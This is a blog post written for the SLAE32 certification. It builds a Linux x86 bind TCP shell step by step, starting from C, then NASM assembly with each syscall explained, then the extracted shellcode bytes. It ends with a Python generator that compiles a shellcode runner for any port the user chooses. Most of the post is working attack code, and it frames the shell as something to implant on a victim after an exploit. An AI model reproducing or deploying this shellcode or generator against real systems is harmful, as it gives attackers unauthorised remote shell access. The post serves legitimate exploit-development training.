Posts SLAE32 - Assignment#1 [Bind TCP Shell]
Post
Cancel

SLAE32 - Assignment#1 [Bind TCP Shell]

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#1 Github

Assignement #1

  • Create a Shell_Bind_TCP shellcode
    • Binds to a port
    • Execs Shell on incoming connection
  • Port number should be easily configurable

What is a Bind Shell?

Bind TCP opens up a port on the victim system. If an attacker could exploit a vulnerability on the victim system, she can implant a bind shell and connect to it from the remote attacking box. However, due to a firewall and detection controls, reverse TCP shell is preferable over bind TCP shell these days.

image

Socket Programming

Before creating our Bind TCP Shell in shellcode, we need to understand the Socket Programming.

NOTE: Socket programming is a way of connecting two nodes on a network to communicate with each other.

image

To better understand the Bind TCP, let’s create a Bind TCP Shell in a higher programming language. We will use C:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
	int sockfd, acceptfd;
	int port = 9001;

	// Server Address struct
	struct sockaddr_in addr;
	addr.sin_family = AF_INET; 
	addr.sin_port = htons(port);
	addr.sin_addr.s_addr = INADDR_ANY;

	// 1) Socket Creation (sys_socket 1)
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	// 2) Bind() Syscall (sys_bind 2)
	bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
	
	// 3) Listen() Syscall (sys_listen 4)
	listen(sockfd, 0);

	// 4) Accept() Syscall (sys_accept 5)
	acceptfd = accept(sockfd, NULL, NULL);

	// 5) Dup2() Syscall
	dup2(acceptfd, 0);	// stdin
	dup2(acceptfd, 1);	// stdout
	dup2(acceptfd, 2);	// stderr

	// 6) Execve() Syscall
	execve("/bin/sh", NULL, NULL);

	return 0;
}

Let’s compile this:

1
gcc bind-tcp-shell.c -o bind-tcp-shell

The compiled binary can successfully open up a bind shell, and we can connect to it via nc.

image

Shellcode

For our Bind TCP Shell shellcode, we need to use all those syscalls: 1) Socket - Initiating the socket connection 2) Bind - The bind() assigns the address specified by addr to the socket referred to by the file descriptor sockfd. 3) Listen - Listen for the incoming connection 4) Accept - The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET) 5) Dup2 - Manages stdin, stdout and stderr for the file descriptor. This is necessary for input and output redirection. 6) Execve - Execute a command (/bin/sh to spawn a shell)

Syscall + Function Calls

First, we need to collect arguements for socketcall() as well as other syscalls.

NOTE: socketcall() is a common kernel entry point for the socket system calls.

By querying /usr/include/i386-linux-gnu/asm/unistd_32.h, we can collect the following args for the syscalls:

1
2
3
4
5
6
#define __NR_socketcall	102 --> Hex: 0x66
#define __NR_bind	361 --> Hex: 0x169
#define __NR_listen	363 --> Hex: 0x16b
#define __NR_accept4	364 --> Hex: 0x16c
#define __NR_dup2	63  --> Hex: 0x3f
#define __NR_execve	11  --> Hex: 0xb

Additionally, by looking at /usr/include/linux/net.h, we can also obtain args for the function calls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~/Documents/SLAE32/Exam/Assignement1# cat /usr/include/linux/net.h | grep SYS
#define SYS_SOCKET	1		/* sys_socket(2)	*/
#define SYS_BIND	2		/* sys_bind(2)		*/
#define SYS_CONNECT	3		/* sys_connect(2)	*/
#define SYS_LISTEN	4		/* sys_listen(2)	*/
#define SYS_ACCEPT	5		/* sys_accept(2)	*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)	*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)	*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)	*/
#define SYS_SEND	9		/* sys_send(2)		*/
#define SYS_RECV	10		/* sys_recv(2)		*/
#define SYS_SENDTO	11		/* sys_sendto(2)	*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)	*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)	*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)	*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)	*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)	*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)	*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)	*/
#define SYS_RECVMMSG	19		/* sys_recvmmsg(2)	*/
#define SYS_SENDMMSG	20		/* sys_sendmmsg(2)	*/

Initialization

First, let’s zero out some of the registers we are going to use:

1
2
3
4
5
6
7
8
9
10
global _start

section		.text

_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

Socket()

Let’s create the socket() shellcode:

1
2
3
4
5
6
7
8
9
10
11
; 1) Socket Creation
; sockfd = socket(AF_INET, SOCK_STREAM, 0);

mov al, 0x66		; #define __NR_socketcall 102	--> Hex: 0x66
mov bl, 0x1		; #define SYS_SOCKET 1
push edx		; int protocol = 0
push ebx		; int SOCK_STREAM = 1
push 0x2		; int AF_INET = 2
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_SOCKET
mov edi, eax		; Save the sockfd to EDI

Server Address struct

Let’s create the server address struct shellcode:

1
2
3
4
5
6
7
8
9
10
11
; 	struct sockaddr_in addr;
;	addr.sin_family = AF_INET; 
;	addr.sin_port = htons(port);	//4444
;	addr.sin_addr.s_addr = INADDR_ANY;

push edx		; NULL Padding
push edx		; NULL Padding
push edx		; sin_addr = 0.0.0.0
push word 0x5c11		; port = 4444
push word 0x2 		; int AF_INET = 2
mov esi, esp	; Move stack pointer to ESI

Bind()

Let’s create the bind() shellcode:

1
2
3
4
5
6
7
8
9
10
; 2) Bind
; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));

mov al, 0x66		; socketcall = 102
mov bl, 0x2		; #define SYS_BIND	2
push 0x10		; sizeof(addr) = 10
push esi		; ESI = Server Address struct
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_BIND

Listen()

Let’s create the listen() shellcode:

1
2
3
4
5
6
7
8
9
; 3) Listen
; listen(sockfd, 0);

mov al, 0x66		; socketcall = 102
mov bl, 0x4		; #define SYS_LISTEN	4
push edx		; int backlog = 0
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_LISTEN

Accept()

Let’s create the accept() shellcode:

1
2
3
4
5
6
7
8
9
10
11
; 4) Accept
; acceptfd = accept(sockfd, NULL, NULL);

mov al, 0x66		; socketcall = 102
mov bl, 0x5		; #define SYS_ACCEPT	5
push edx		; NULL
push edx		; NULL
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_ACCEPT
mov edi, eax

Dup2()

Let’s create the dup2() shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
; 5) Dup2 - Input and Output Redirection
; dup2(acceptfd, 0);	// stdin
; dup2(acceptfd, 1);	// stdout
; dup2(acceptfd, 2);	// stderr

xor ecx, ecx		; Zero out
mov cl, 0x3		; Set the counter 

loop:
xor eax, eax		; Zero out
mov al, 0x3f		; #define __NR_dup2	63  --> Hex: 0x3f
mov ebx, edi		; New sockfd
dec cl		; Decrementing the counter by 1
int 0x80		

jnz loop		; Jump back to the beginning of the loop until CL is set to zero flag

Execve()

Let’s create the execve() shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
; 6) Execve
; execve("/bin/sh", NULL, NULL);

push edx		; NULL
push 0x68732f6e		; "hs/n"  <-- //bin/sh
push 0x69622f2f		; "ib//"
mov ebx, esp		; Move stack pointer to EBX
push edx		; NULL terminator
push ebx
mov ecx, esp		; Move stack pointer to ECX
mov al, 0xb		; #define __NR_execve	11  --> Hex: 0xb
int 0x80		; Execute SYS_EXECVE

Final Shellcode (bing-tcp-shell.nasm)

Let’s put everything together and test the shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
global _start

section		.text

_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

; 1) Socket Creation
; sockfd = socket(AF_INET, SOCK_STREAM, 0);

mov al, 0x66		; #define __NR_socketcall 102	--> Hex: 0x66
mov bl, 0x1		; #define SYS_SOCKET 1
push edx		; int protocol = 0
push ebx		; int SOCK_STREAM = 1
push 0x2		; int AF_INET = 2
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_SOCKET
mov edi, eax		; Save the sockfd to EDI

; 	struct sockaddr_in addr;
;	addr.sin_family = AF_INET; 
;	addr.sin_port = htons(port);	//4444
;	addr.sin_addr.s_addr = INADDR_ANY;

push edx		; NULL Padding
push edx		; NULL Padding
push edx		; sin_addr = 0.0.0.0
push word 0x5c11		; port = 4444
push word 0x2 		; int AF_INET = 2
mov esi, esp	; Move stack pointer to ESI

; 2) Bind
; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));

mov al, 0x66		; socketcall = 102
mov bl, 0x2		; #define SYS_BIND	2
push 0x10		; sizeof(addr) = 10
push esi		; ESI = Server Address struct
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_BIND

; 3) Listen
; listen(sockfd, 0);

mov al, 0x66		; socketcall = 102
mov bl, 0x4		; #define SYS_LISTEN	4
push edx		; int backlog = 0
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_LISTEN

; 4) Accept
; acceptfd = accept(sockfd, NULL, NULL);

mov al, 0x66		; socketcall = 102
mov bl, 0x5		; #define SYS_ACCEPT	5
push edx		; NULL
push edx		; NULL
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_ACCEPT
mov edi, eax

; 5) Dup2 - Input and Output Redirection
; dup2(acceptfd, 0);	// stdin
; dup2(acceptfd, 1);	// stdout
; dup2(acceptfd, 2);	// stderr

xor ecx, ecx		; Zero out
mov cl, 0x3		; Set the counter 

loop:
xor eax, eax		; Zero out
mov al, 0x3f		; #define __NR_dup2	63  --> Hex: 0x3f
mov ebx, edi		; New sockfd
dec cl		; Decrementing the counter by 1
int 0x80		

jnz loop		; Jump back to the beginning of the loop until CL is set to zero flag

; 6) Execve
; execve("/bin/sh", NULL, NULL);

push edx		; NULL
push 0x68732f6e		; "hs/n"  <-- //bin/sh
push 0x69622f2f		; "ib//"
mov ebx, esp		; Move stack pointer to EBX
push edx		; NULL terminator
push ebx
mov ecx, esp		; Move stack pointer to ECX
mov al, 0xb		; #define __NR_execve	11  --> Hex: 0xb
int 0x80		; Execute SYS_EXECVE

Compile

I created a simple compiler compilerX86.py. Using this we can:

  • Compile bind-tcp-shell.nasm to a binary
  • Extract shellcode from the binary to create shellcode.c
  • Compile shellcode.c to a binary using gcc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Documents/SLAE32/Exam/Assignement1# python compilerX86.py -f bind-tcp-shell
 
  ________  ________  _____ ______   ________  ___  ___       _______   ________     ___    ___ ________  ________         
 |\   ____\|\   __  \|\   _ \  _   \|\   __  \|\  \|\  \     |\  ___ \ |\   __  \   |\  \  /  /|\   __  \|\   ____\        
 \ \  \___|\ \  \|\  \ \  \\\__\ \  \ \  \|\  \ \  \ \  \    \ \   __/|\ \  \|\  \  \ \  \/  / | \  \|\  \ \  \___|      
  \ \  \    \ \  \\\  \ \  \\|__| \  \ \   ____\ \  \ \  \    \ \  \_|/_\ \   _  _\  \ \    / / \ \   __  \ \  \____   
   \ \  \____\ \  \\\  \ \  \    \ \  \ \  \___|\ \  \ \  \____\ \  \_|\ \ \  \\  \|  /     \/   \ \  \|\  \ \  ___  \ 
    \ \_______\ \_______\ \__\    \ \__\ \__\    \ \__\ \_______\ \_______\ \__\\ _\ /  /\   \    \ \_______\ \_______\ 
     \|_______|\|_______|\|__|     \|__|\|__|     \|__|\|_______|\|_______|\|__|\|__/__/ /\ __\    \|_______|\|_______|    
                                                                                    |__|/ \|__|     [bigb0ss] v1.0         

[+] Assemble: bind-tcp-shell.nasm
[+] Linking: bind-tcp-shell.o
[+] Shellcode: "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

image

Final Touch

Lastly, I created the following python script to change the port number as the user input and automatically create and compile the C binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys
import argparse
import subprocess
import string
import socket

""" Arguments """
parser = argparse.ArgumentParser(description = '[+] Bind TCP Shell Generator')
parser.add_argument('-p', '--port', help='\tBind Port')
args = parser.parse_args()


def error():
    parser.print_help()
    exit(1)

def exploit(port):
    
    # Bind TCP Shell 
    shellcode = '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x66\\xb3\\x01\\x52\\x53\\x6a\\x02'
    shellcode+= '\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x52\\x52\\x52\\x66\\x68'
    
    print "[INFO] Bind Port: " + port

    port = hex(socket.htons(int(port)))
    a = port[2:4]
    b = port[4:]
    if b == '':
        b = '0'
    port = '\\x{0}\\x{1}'.format(b, a)

    #port = '\\x11\\x5c' = 4444
    
    shellcode2 = '\\x66\\x6a\\x02'
    shellcode2+= '\\x89\\xe6\\xb0\\x66\\xb3\\x02\\x6a\\x10\\x56\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66'
    shellcode2+= '\\xb3\\x04\\x52\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x57\\x89'
    shellcode2+= '\\xe1\\xcd\\x80\\x89\\xc7\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe'
    shellcode2+= '\\xc9\\xcd\\x80\\x75\\xf4\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69'
    shellcode2+= '\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'

    # Adding shellcode to shellcode.c
    outShellcode = ''
    outShellcode+= '#include<stdio.h>\n'
    outShellcode+= '#include<string.h>\n'
    outShellcode+= '\n'
    outShellcode+= 'unsigned char code[] = \ \n'
    outShellcode+= '"{0}{1}{2}";'.format(shellcode, port, shellcode2)
    outShellcode+= '\n'
    outShellcode+= 'main()\n'
    outShellcode+= '{\n'
    outShellcode+= 'printf("Shellcode Length:  %d", strlen(code));\n'
    outShellcode+= '\tint (*ret)() = (int(*)())code;\n'
    outShellcode+= '\tret();\n'
    outShellcode+= '}\n'
    #print outShellcode

    # Creating shellcode.c
    filename = "exploit.c"
    outfile = open(filename, 'w')
    outfile.write(outShellcode)
    outfile.close()
    

    print "[INFO] Creating File: exploit.c"

    # Compiling shellcode.c
    subprocess.call(["gcc", "-fno-stack-protector", "-z", "execstack", filename, "-o", "exploit", "-w"])
    print "[INFO] Compiled Executable: exploit"

if __name__ == "__main__":
    inputPort = args.port if args.port != None else error()

    exploit(inputPort)

image

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#1 Github

This post is licensed under CC BY 4.0 by the author.